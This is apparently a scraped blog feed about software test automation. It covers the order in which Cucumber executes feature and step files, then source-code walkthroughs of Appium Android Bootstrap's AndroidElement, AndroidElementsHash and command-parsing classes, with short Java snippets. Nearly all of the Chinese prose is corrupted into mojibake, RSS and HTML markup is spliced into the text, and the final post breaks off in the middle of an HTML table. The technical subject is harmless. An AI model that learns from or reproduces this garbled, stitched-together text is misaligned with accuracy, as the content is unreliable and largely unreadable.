Featureæ–‡äšgåQˆå¦‚test.featureåQ‰ç›´æŽ¥ä½äºŽfeaturesæ–‡äšg夹下åQŒå¯ä»¥äؓ每个应用场景创徏一个Featureæ–‡äšgåQ›ä¸ŽFeatureæ–‡äšg对应的Stepæ–‡äšgåQˆå¦‚test.rbåQ‰ä½äºŽstep_definitions子文件夹下;同时åQŒå­˜åœ¨support子文件夹åQŒå…¶ä¸‹çš„env.rbæ–‡äšg为环境配¾|®æ–‡ä»¶ã€‚在˜q™æ ·çš„目录结构条件下执行cucumber命ä×oåQŒä¼šé¦–先执行env.rb做前期准备工作,比如可以用Watir新徏‹¹è§ˆå™¨çª—口,然后Cucumberž®†test.rbæ–‡äšgè¯Õd…¥å†…å­˜åQŒæœ€åŽæ‰§è¡Œtest.featureæ–‡äšgåQŒå½“遇到Given/When/Then步骤æ—Óž¼ŒCucumberž®†åœ¨test.rb中搜索是否有相应的stepåQŒå¦‚果有åQŒåˆ™æ‰§è¡Œç›¸åº”çš„Ruby代码ã€?/p>

˜q™æ ·çš„目录结构只是推荐的目录¾l“æž„åQŒç¬”者通过反复的试验得å‡ÞZº†ä»¥ä¸‹¾l“论åQšå¯¹äºŽCucumber而言åQŒé™¤äº†é¡¶å±‚çš„featuresæ–‡äšgå¤ÒŽ˜¯å¼ºåˆ¶æ€§çš„之外åQŒå…¶å®ƒç›®å½•结构都不是强制性的åQŒCucumberž®†å¯¹featuresæ–‡äšg夹下的所有内容进行扁òq›_Œ–åQˆflattenåQ‰å¤„理和首字母排序。具体来è¯ß_¼ŒCucumber在运行时åQŒé¦–先将递归的执行featuresæ–‡äšg夹下的所有Rubyæ–‡äšg(其中则包括Stepæ–‡äšg)åQŒç„¶åŽé€šè¿‡ç›¸åŒçš„æ–¹å¼æ‰§è¡ŒFeatureæ–‡äšg。但是,如果featuresæ–‡äšg夹下存在support子文件夹åQŒåƈ且supportä¸‹æœ‰åäØ“env.rb的文ä»Óž¼ŒCucumberž®†é¦–先执行该文äšgåQŒç„¶åŽæ‰§è¡Œsupport下的其它文äšgåQŒå†é€’归执行featues下的其它文äšgã€?/p>

比如有如下Cucumber目录¾l“æž„åQ?/p>

ä¸ÞZº†æ–¹ä¾¿è®°å½•Cucumber˜qè¡Œæ—¶çš„æ–‡äšg执行™åºåºåQŒåœ¨featuresæ–‡äšg夹下的所有Rubyæ–‡äšg中加上以下代码:

puts File.basename(__FILE__)

此行代码的作用是在一个Rubyæ–‡äšgæ‰§è¡Œæ—¶è¾“å‡ø™¯¥æ–‡äšg的名字,此时执行cucumber命ä×oåQŒå¾—åˆîC»¥ä¸‹è¾“出(部分åQ‰ç»“果:

ä¸Šå›¾å³äØ“Rubyæ–‡äšg的执行顺序,可以看出åQŒsupportæ–‡äšg夹下env.rbæ–‡äšg首先被执行,其次按照字母排序执行c.rbå’Œd.rbåQ›æŽ¥ä¸‹æ¥åQŒCucumberž®†featuresæ–‡äšg夹下的所用文ä»Óž¼ˆå¤¹ï¼‰æ‰åã^化,òq¶æŒ‰å­—母™åºåºæŽ’序åQŒä»Žè€Œå…ˆæ‰§è¡Œa.rbå’Œb.rbåQŒè€Œç”±äºŽotheræ–‡äšgå¤ÒŽŽ’在step_definitionsæ–‡äšg夹的前面åQŒæ‰€ä»¥å…ˆæ‰§è¡Œotheræ–‡äšg夹下的Rubyæ–‡äšgåQˆä¹Ÿæ˜¯æŒ‰å­—母™åºåºæ‰§è¡ŒåQšå…ˆf.rbåQŒç„¶åŽg.rbåQ‰ï¼Œæœ€åŽæ‰§è¡Œstep_definitions下的e.rbã€?/p>

当执行完所有Rubyæ–‡äšg后,Cucumber开始依‹Æ¡è¯»å–Featureæ–‡äšgåQŒæ‰§è¡Œé¡ºåºä¹Ÿå’Œå‰˜qîC¸€æ øP¼Œå? a.feature --> b.feature --> c.feature

½W”者还发现åQŒè¿™äº›Rubyæ–‡äšg甚至可以位于featuresæ–‡äšg夹之外的ä»ÖM½•地方åQŒåªæ˜¯éœ€è¦åœ¨ä½äºŽfeaturesæ–‡äšg夹之内的Rubyæ–‡äšg中require一下,比如在env.rb中ã€?/p>



]]>
Appium Android Bootstrap之控件AndroidElementhttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421669.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOMon, 22 Dec 2014 16:26:00 GMThttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421669.htmlhttp://www.aygfsteel.com/qileilove/comments/421669.htmlhttp://www.aygfsteel.com/qileilove/archive/2014/12/23/421669.html#Feedback0http://www.aygfsteel.com/qileilove/comments/commentRss/421669.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/421669.htmlAndroidElementHash的这个getElement命ä×o要做的事情就是针对这两点来根据不同情况获得目标控ä»?/div>
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1¿Uæƒ…况就直接通过选择子构建UiObject对象åQŒç„¶åŽé€šè¿‡addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表
  如果是第2¿Uæƒ…况就先根据appium传过来的控äšgå“ˆå¸Œè¡¨é”®å€ÆDŽ·å¾—çˆ¶æŽ§äšgåQŒå†é€šè¿‡å­æŽ§ä»¶çš„选择子在父控件的基础上查扑ֈ°ç›®æ ‡UiObject控äšgåQŒæœ€åŽè·Ÿä¸Šé¢ä¸€æ ähŠŠè¯¥æŽ§ä»‰™€šè¿‡ä¸Šé¢çš„addElement把UiObject控äšg转换成AndroidElement控äšg对象保存到控件哈希表
  4. 求证
  上面有提˜q‡ï¼Œå¦‚æžœpc端的脚本执行对同一个控件的两次findElement会创å»ÞZ¸¤ä¸ªä¸åŒidçš„AndroidElementòq¶å­˜æ”‘Öˆ°æŽ§äšg哈希表中åQŒé‚£ä¹ˆäؓ什么appium的团队没有做一个增强,增加一个keyMap的方法(½Ž—法åQ‰å’Œä¸€äº›é¢å¤–的信息来让同一个控件ä‹É用不同的key的时候对应的˜q˜æ˜¯åŒä¸€ä¸ªAndroidElement控äšg呢?毕竟˜q™æ‰æ˜¯å“ˆå¸Œè¡¨å®žç”¨çš„特性之一了,不然你直接用一个Dictionary不就完事了?¾|‘上说了几点hashtableå’Œdictionary的差别,如多¾U¿ç¨‹çŽ¯å¢ƒæœ€å¥½ä‹É用哈希表而非字典½{‰ï¼Œä½†åœ¨bootstrap˜q™ä¸ªæŽ§äšg哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
  ˜q™é‡Œè‡³äºŽä¸ÞZ»€ä¹ˆappium不去提供额外的key信息òq¶ä¸”实现keyMap½Ž—法åQŒæˆ‘个ähå€’æ˜¯è®¤äØ“æœ‰å¦‚ä¸‹åŽŸå› ï¼š
  有谁˜q™ä¹ˆæ— èŠåœ¨åŒä¸€ä¸ªæµ‹è¯•方法中对同一个控件查找两‹Æ¡ï¼Ÿ
  如果同一个控件运用不同的选择子查找两‹Æ¡çš„è¯ï¼Œå› äØ“æœ€¾lˆåº•层的UiObject的成员变量UiSelector mSelectorä¸ä¸€æ øP¼Œæ‰€ä»¥ç¡®å®žå¯ä»¥è®¤ä¸ºæ˜¯ä¸åŒçš„æŽ§ä»?/div>
  但以下两个如果用同样的UiSelector选择子来查找控äšg的情冉|ˆ‘ž®Þp§£æžä¸äº†äº†åQŒæ¯•竟在我看来bootstrap˜q™è¾¹åº”该把它们看成是同一个对象的åQ?/div>
  同一个脚本不同的æ–ÒŽ³•中分别对同一控äšg用同æ ïLš„UiSelelctor选择子进行查扑֑¢åQ?/div>
  不同脚本中呢åQ?/div>
  ˜q™äº›ä¹Ÿè®¸åœ¨ä»ŠåŽæ·±å…¥äº†è§£ä¸­å¾—到解决åQŒä½†çœ‹å®¶å¦‚果知道的,˜q˜æœ›ä¸åèµæ•™
  5. ž®ç»“
  最后我们对bootstrap的控件相关知识点做一个æ€È»“
  AndroidElement的一个实例代表了一个bootstrap的控�/div>
  AndroidElement控äšg的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控ä»Óž¼Œé€šè¿‡å®ƒå°±å¯ä»¥ç›´æŽ¥é€è¿‡uiautomator框架å¯ÒŽŽ§ä»¶è¿›è¡Œå®žè´¨æ€§æ“ä½?/div>
  pc端的WebElement元素和Bootstrapçš„AndroidElement控äšg是通过AndroidElement控äšgçš„String id˜q›è¡Œæ˜ å°„å…Œ™”çš?/div>
  AndroidElementHash¾cȝ»´æŠ¤äº†ä¸€ä¸ªä»¥AndroidElementçš„id为键å€û|¼Œä»¥AndroidElementçš„å®žä¾‹äØ“value的全局唯一哈希表,pc端想要获得一个控件的时候会先从˜q™ä¸ªå“ˆå¸Œè¡¨æŸ¥æ‰¾ï¼Œå¦‚果没有了再创徏新的AndroidElement控äšgòq¶åŠ å…¥åˆ°è¯¥å“ˆå¸Œè¡¨ä¸­ï¼Œæ‰€ä»¥è¯¥å“ˆå¸Œè¡¨ä¸­¾l´æŠ¤çš„æ˜¯ä¸€ä¸ªå½“前已¾lä‹É用过的控ä»?/div>
相关文章åQ?/div>
Appium Android Bootstrap源码分析之简�/div>
 通过上一½‹?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">文章ã€?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appiumå’Œuiautomator处于一个什么样的位¾|®æœ‰äº†ä¸€ä¸ªåˆæ­¥çš„了解åQŒé‚£ä¹ˆæŒ‰ç…§æ­£å¸¸çš„写书的思èµ\åQŒä¸‹ä¸€ä¸ªç« èŠ‚åº”è¯¥å°±è¦åŽ»çœ‹bootstrap是如何徏立socket来获取数据然后怎样˜q›è¡Œå¤„理的了。但本äh觉得˜q™æ ·å­åšòq¶ä¸ä¼šå¤ªå¥½ï¼Œå› äؓ到时整篇文章会变得非常的冗长åQŒå› ä¸ÞZ½ åœ¨ç¼–写的˜q‡ç¨‹ä¸­ç¢°åˆîC¸è®¤è¯†çš„类又要跛_…¥˜q›åŽ»˜q›è¡Œè¯´æ˜Žåˆ†æžã€‚这里我觉得应该ž®è¯•吸取著名的《重构》这本书的徏议:一个方法的代码不要写得太长åQŒä¸ç„¶å¯è¯ÀL€§ä¼šå¾ˆå·®åQŒå°½é‡æŠŠå…¶åˆ†è§£æˆä¸åŒçš„函数。那我们˜q™é‡Œž®±æ˜¯ç”¨ç±»ä¼¼çš„æ€æƒ³åQŒä¸è¦å°è¯•在一个文章中把所有的事情都做完,而是ž®è¯•先把关键的类¾l™æ˜q°æ¸…楚,最后才åŽÀLŠŠ˜q™äº›¾c»é€šè¿‡ä¸€ä¸ªå®žä¾‹åˆ†æžç»™ä¸²è“v来呈现给读者,˜q™æ ·å¤§å®¶ž®×ƒ¸ä¼šå› ä¸ÞZ¸€ä¸ªæ–‡ç« å¤ªé•¿åª„响可è¯ÀL€§è€Œæ”¾å¼ƒå¾€ä¸?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">学习了ã€?/div>
  那么我们˜q™é‡Œä¸ÞZ»€ä¹ˆå…ˆè¯´bootstrapå¯ÒŽŽ§ä»¶çš„处理åQŒè€Œéžåˆšæ‰æåˆ°çš„socket相关的socket服务器的建立呢?我是˜q™æ ·å­çœ‹å¾…çš„åQŒå¤§å®¶çœ‹åˆ°æœ¬äºø™¿™½‹‡æ–‡ç« çš„æ—¶å€™ï¼Œå¾ˆæœ‰å¯èƒ½ä¹‹å‰å·²ç»äº†è§£˜q‡æœ¬äººé’ˆå¯¹uiautomator源码分析那个¾pÕdˆ—的文章了åQŒæˆ–者已¾læœ‰uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么˜qç”¨äº†uiautomator的,那么在appium中于˜q™ä¸ªé—®é¢˜æœ€è´´åˆ‡çš„就是appium在服务器端是怎么使用了uiautomator的控件的ã€?/div>
  ˜q™é‡Œæˆ‘们主要会分析两个类åQ?/strong>
  AndroidElement:代表了bootstrap持有的一个ui界面的控件的¾c»ï¼Œå®ƒæ‹¥æœ‰ä¸€ä¸ªUiObject成员对象和一个代表其在下面的哈希表的键值的String¾cÕdž‹æˆå‘˜å˜é‡id
  AndroidElementsHash:持有了一个包含所有bootstrapåQˆä¹Ÿž®±æ˜¯appiumåQ‰æ›¾¾lè§åˆ°è¿‡çš„(也就是脚本代码中findElementæ–ÒŽ³•扑ֈ°˜q‡çš„åQ‰æŽ§ä»¶çš„哈希表,它的keyž®±æ˜¯AndroidElement中的idåQŒæ¯å½“appium通过findElement扑ֈ°ä¸€ä¸ªæ–°æŽ§äšg˜q™ä¸ªidž®×ƒ¼šåQ?åQŒAppiumçš„pc端和bootstrap端都会持有这个控件的idé”®å€û|¼Œå½“需要调用一个控件的æ–ÒŽ³•时就需要把代表˜q™ä¸ªæŽ§äšgçš„idé”®å€ég¼ ˜q‡æ¥è®©bootstrap可以从这个哈希表扑ֈ°å¯¹åº”的控ä»?/div>
  1. AndroidElementå’ŒUiObject的组合关¾p?/strong>
  从上面的描述我们可以知道åQŒAndroidElement˜q™ä¸ª¾c»é‡Œé¢æ‹¥æœ‰ä¸€ä¸ªUiObject˜q™ä¸ªå˜é‡åQ?/div>
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其实ž®±æ˜¯UiAutomator里面代表一个控件的¾c»ï¼Œé€šè¿‡å®ƒå°±èƒ½å¤Ÿå¯ÒŽŽ§ä»¶è¿›è¡Œæ“ä½œï¼ˆå½“然最¾lˆè¿˜æ˜¯é€šè¿‡UiAutomation框架). AnroidElementž®±æ˜¯é€šè¿‡å®ƒæ¥è·ŸUiAutomator发生关系的。我们可以看åˆîC¸‹é¢çš„AndroidElement的点击clickæ–ÒŽ³•其实ž®±æ˜¯å¾ˆå¹²è„†çš„调用了UiObjectçš„clickæ–ÒŽ³•åQ?/div>
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  当然˜q™é‡Œé™¤äº†click˜q˜æœ‰å¾ˆå¤šæŽ§äšg相关的操作,比如dragTo,getText,longClick½{‰ï¼Œä½†æ— ä¸€ä¾‹å¤–åQŒéƒ½æ˜¯é€šè¿‡UiObject来实现的åQŒè¿™é‡Œå°±ä¸ä¸€ä¸€åˆ—ä‹D了ã€?/div>
  2. 脚本的WebElementå’ŒBootstrapçš„AndroidElement的映ž®„å…³¾p?/strong>
  我们在脚本上å¯ÒŽŽ§ä»¶çš„认识ž®±æ˜¯ä¸€ä¸ªWebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射åˆîC¸€èµïLš„呢?我们其实可以先看如下的代码:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情ž®±æ˜¯èŽ·å¾—Notes˜q™ä¸ªapp的菜单,然后调用控äšgçš„getText来获å¾?#8216;Add note'控äšg的文本信息,以及通过控äšgçš„clickæ–ÒŽ³•来点击该控äšg。那么我们看下调试信息是怎样的:

pc端传˜q‡æ¥çš„json字串有几个fieldsåQ?/div>
  cmd:代表˜q™ä¸ªæ˜¯ä»€ä¹ˆå‘½ä»¤ç±»åž‹ï¼Œå…¶å®žž®±æ˜¯AndroidCommandType的那两个å€?/div>
  package io.appium.android.bootstrap;
  /**
  * Enumeration for all the command types.
  *
  */
  public enum AndroidCommandType {
  ACTION, SHUTDOWN
  }
  action: 具体命ä×o
  params: 提供的参敎ͼŒ˜q™é‡Œæä¾›äº†ä¸€ä¸ªelementId的键值对
  从上面的两条调试信息看来åQŒå…¶å®žæ²¡æœ‰æ˜Žæ˜„¡š„看到½I¶ç«Ÿä½¿ç”¨çš„æ˜¯å“ªä¸ªæŽ§äšg。其实这里不èµïLœ¼çš„elementIdž®±æ˜¯¼‹®å®šç”¨çš„æ˜¯å“ªä¸ªæŽ§ä»¶çš„åQŒæ³¨æ„è¿™ä¸ªelementIdòq¶ä¸æ˜¯ä¸€ä¸ªæŽ§ä»¶åœ¨ç•Œé¢ä¸Šçš„资源idåQŒå®ƒå…¶å®žæ˜¯Bootstrap¾l´æŠ¤çš„一个保存所有已¾lèŽ·å–è¿‡çš„æŽ§ä»¶çš„å“ˆå¸Œè¡¨çš„é”®å€¹{€‚如上一ž®èŠ‚çœ‹åˆ°çš„ï¼Œæ¯ä¸€ä¸ªAndroidElement都有两个重要的成员变量:
  UiObject el åQšuiautomator框架中代表了一个真实的½H—口控äšg
  Sting id :  ä¸€ä¸ªå”¯ä¸€çš„自动增加的字串¾cÕdž‹æ•´æ•°åQŒpc端就是通过它来在AndroidElementHash˜q™ä¸ª¾cÖM¸­æ‰‘Öˆ°æƒŒ™¦çš„æŽ§ä»¶çš„
  3. AndroidElement控äšg哈希è¡?/strong>
  上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射èµäh¥çš„,那么我们˜q™ä¸€èŠ‚å°±æ¥çœ‹ä¸‹ç»´æŠ¤AndroidElement的这个哈希表是怎么实现的ã€?/div>
  首先åQŒå®ƒæ‹¥æœ‰ä¸¤ä¸ªæˆå‘˜å˜é‡åQ?/div>
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements åQšä¸€ä¸ªä»¥AndroidElement çš„idçš„å­—ä¸²ç±»åž‹äØ“keyåQŒä»¥AndroidElementçš„å®žä¾‹äØ“value的的哈希è¡?/div>
  counter : 一个整型变量,有两个作用:其一是它代表了当前已¾lç”¨åˆ°çš„æŽ§äšg的数目(其实也不完全是,你在脚本中对同一个控件调用两‹Æ¡findElement其实会äñ”生两个不同idçš„AndroidElement控äšgåQ‰ï¼Œå…¶äºŒæ˜¯å®ƒä»£è¡¨äº†ä¸€ä¸ªæ–°ç”¨åˆ°çš„æŽ§ä»¶çš„idåQŒè€Œè¿™ä¸ªidž®±æ˜¯ä¸Šé¢çš„elements哈希表的é”?/div>
  ˜q™ä¸ªå“ˆå¸Œè¡¨çš„键值都是从0开始的åQŒè¯·çœ‹å®ƒçš„æž„造函敎ͼš
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整个Bootstrap中是有且只有一个实例的åQŒä¸”看它的单例模式实玎ͼš
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一个控件的æ–ÒŽ³•addElementå……åˆ†æè¿°äº†äØ“ä»€ä¹ˆè¯´counter是一个自增加的keyåQŒä¸”是每个新发现的AndroidElement控äšgçš„idåQ?/div>
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  从Appium发过来的控äšg查找命ä×o大方向上分两¾c»ï¼š
  1. 直接åŸÞZºŽAppium Driver来查找,˜q™ç§æƒ…况下appium发过来的json命ä×o是不包含控äšg哈希表的键å€ég¿¡æ¯çš„
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. åŸÞZºŽçˆ¶æŽ§ä»¶æŸ¥æ‰¾ï¼š
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的脚本会先尝试找到Note1˜q™ä¸ªæ—¥è®°çš„父控äšgListView,òq¶æŠŠ˜q™ä¸ªæŽ§äšg保存到控件哈希表åQŒç„¶åŽå†æ ÒŽ®çˆ¶æŽ§ä»¶çš„哈希表键å€ég»¥åŠå­æŽ§äšg的选择子找到想要的Note1:


]]>Appium Android Bootstrap源码分析之命令解析执è¡?/title><link>http://www.aygfsteel.com/qileilove/archive/2014/12/23/421668.html</link><dc:creator>™åºå…¶è‡ªç„¶EVO</dc:creator><author>™åºå…¶è‡ªç„¶EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>http://www.aygfsteel.com/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>http://www.aygfsteel.com/qileilove/comments/421668.html</wfw:comment><comments>http://www.aygfsteel.com/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">通过上一½‹?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>ã€?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命ä×o如果是控件相关的话,最¾lˆç›®æ ‡æŽ§ä»¶åœ¨bootstrap中是以AndroidElement对象的方式呈现出来的åQŒåƈ且该控äšg对象会在AndroidElementHash¾l´æŠ¤çš„æŽ§ä»¶å“ˆå¸Œè¡¨ä¸­ä¿å­˜è“v来。但是appium触发一个命令除了需要提供是否与控äšg相关˜q™ä¸ªä¿¡æ¯å¤–,˜q˜éœ€è¦å…¶ä»–的一些信息,比如åQŒè¿™ä¸ªæ˜¯ä»€ä¹ˆå‘½ä»¤ï¼Ÿ˜q™ä¸ªž®±æ˜¯æˆ‘们˜q™ç¯‡æ–‡ç« éœ€è¦è®¨è®ºçš„话题了ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  下面我们˜q˜æ˜¯å…ˆçœ‹ä¸€ä¸‹ä»Žpc端发˜q‡æ¥çš„json的格式是怎么æ ïLš„åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  可以看到里面除了params指定的是哪一个控件之外,˜q˜æŒ‡å®šäº†å¦å¤–两个信息åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  cmd: ˜q™æ˜¯ä¸€ä¸ªaction˜q˜æ˜¯ä¸€ä¸ªshutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  actionåQšå¦‚果是一个action的话åQŒé‚£ä¹ˆæ˜¯ä»€ä¹ˆaction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  开始前我们先简要描˜qîC¸‹æˆ‘们需要涉及到几个关键¾c»ï¼š</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium命ä×o解析器AndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  AndroidCommand˜q™ä¸ª¾cȝœŸå®žçš„作用其实ž®±æ˜¯åŽÀLŠŠAppium从pc端发送过来的那串json命ä×o解析出来åQŒå®ƒæ‹¥æœ‰ä¸¤ä¸ªæˆå‘˜å˜é‡åQ?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  JSONObject         json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  jsonž®±æ˜¯pc˜q‡æ¥çš„json格式的那串命令,cmdTypež®±æ˜¯action或者shutdownåQŒå…¶å®žå°±æ˜¯ç”¨æ¥æŠŠ˜q™ä¸ª¾cÖM¼ªè£…成更像个命令类而已åQŒæˆ‘è®¤äØ“å¦‚æžœä¸æä¾›è¿™ä¸ªæˆå‘˜å˜é‡è€Œç›´æŽ¥ä¿®æ”¹å…¶getType的实现去解析json字串直接获得对应的AndroidCommandTypeåQŒç„¶åŽæŠŠ˜q™ä¸ª¾cȝš„名字æ”ÒŽˆAndroidCommandParser得了ã€?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  那么我们往下看下AndroidCommand½I¶ç«Ÿæ˜¯æ€Žä¹ˆå¯¹å®¢æˆïL«¯å‘½ä×o˜q›è¡Œè§£æžçš„,它的æ–ÒŽ³•都很短,所以我把它做成一个表åQŒè¿™æ äh¯”较清晰点åQ?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  从表中的˜q™äº›æ–ÒŽ³•可以看出来,˜q™ä¸ª¾cÀL‰€åšçš„事情基本上都是怎么去解析appium从pc端过来的那串json字串ã€?br /><br /></a><a target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 2. Action与CommandHandler的映ž®„å…³¾p?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  从上面描˜q°å¯ä»¥çŸ¥é“,一个actionž®±æ˜¯ä¸€ä¸ªä»£è¡¨è¯¥å‘½ä×o的字ä¸ÔŒ¼Œæ¯”如‘click’。但是一个字串是不能åŽÀL‰§è¡Œçš„啊,所以我们需要有一¿Uæ–¹å¼æŠŠå®ƒè{换成可以执行的代码,˜q™ä¸ªž®±æ˜¯AndroidCommandExecutor¾l´æŠ¤çš„一个静态HashMap map所做的事情åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div 